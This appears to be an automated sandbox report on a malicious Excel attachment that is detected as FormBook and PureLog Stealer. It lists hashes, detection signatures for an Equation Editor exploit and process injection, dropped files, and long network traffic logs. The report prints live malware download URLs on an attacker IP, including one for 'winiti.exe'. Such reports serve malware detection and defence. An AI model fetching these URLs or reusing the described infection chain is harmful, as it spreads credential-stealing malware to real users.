Windows Analysis Report
RFQ#51281AOLAI.xls

Overview

General Information

Sample name: RFQ#51281AOLAI.xls
Analysis ID: 1483000
MD5: cdf0aba5b4f9e4315f9dfbf906a5c4da
SHA1: 74056fd5b1e7456fd00014c677d7b85ef65c4a8a
SHA256: 048a0f6be28b03503cde3fecf918773e1dadbe0a50b24c7dc9fe430665bc0cbb
Tags: xls
Infos:

Detection

FormBook, PureLog Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Yara detected FormBook
Yara detected PureLog Stealer
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious Excel or Word document
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Microsoft Office drops suspicious files
Office drops RTF file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Equation Editor Network Connection
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://104.219.239.104/xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc Avira URL Cloud: Label: malware
Source: http://104.219.239.104/80/winiti.exe Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0F8425F3-6468-4181-A134-C6330FCC02D5}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc Avira: detection malicious, Label: HEUR/Rtf.Malformed
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FFE27256.doc Avira: detection malicious, Label: HEUR/Rtf.Malformed
Yara detected FormBook
Source: Yara match File source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.489032107.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.488998294.0000000000150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\winiti.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: RFQ#51281AOLAI.xls Joe Sandbox ML: detected

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 104.219.239.104 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe Jump to behavior
Document contains Microsoft Equation 3.0 OLE entries
Source: ~WRF{0F8425F3-6468-4181-A134-C6330FCC02D5}.tmp.3.dr Stream path '_1783484778/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{0F8425F3-6468-4181-A134-C6330FCC02D5}.tmp.3.dr Stream path '_1783484783/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{0F8425F3-6468-4181-A134-C6330FCC02D5}.tmp.3.dr Stream path '_1783484802/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{0F8425F3-6468-4181-A134-C6330FCC02D5}.tmp.3.dr Stream path '_1783484803/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{0F8425F3-6468-4181-A134-C6330FCC02D5}.tmp.3.dr Stream path '_1783484806/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: amWV.pdb source: winiti.exe, 00000008.00000000.412497282.0000000001382000.00000020.00000001.01000000.00000005.sdmp, winiti[1].exe.7.dr, winiti.exe.7.dr
Source: Binary string: amWV.pdbSHA256 source: winiti.exe, 00000008.00000000.412497282.0000000001382000.00000020.00000001.01000000.00000005.sdmp, winiti[1].exe.7.dr, winiti.exe.7.dr
Source: Binary string: wntdll.pdb source: winiti.exe, winiti.exe, 00000009.00000002.489080424.00000000008D0000.00000040.00001000.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
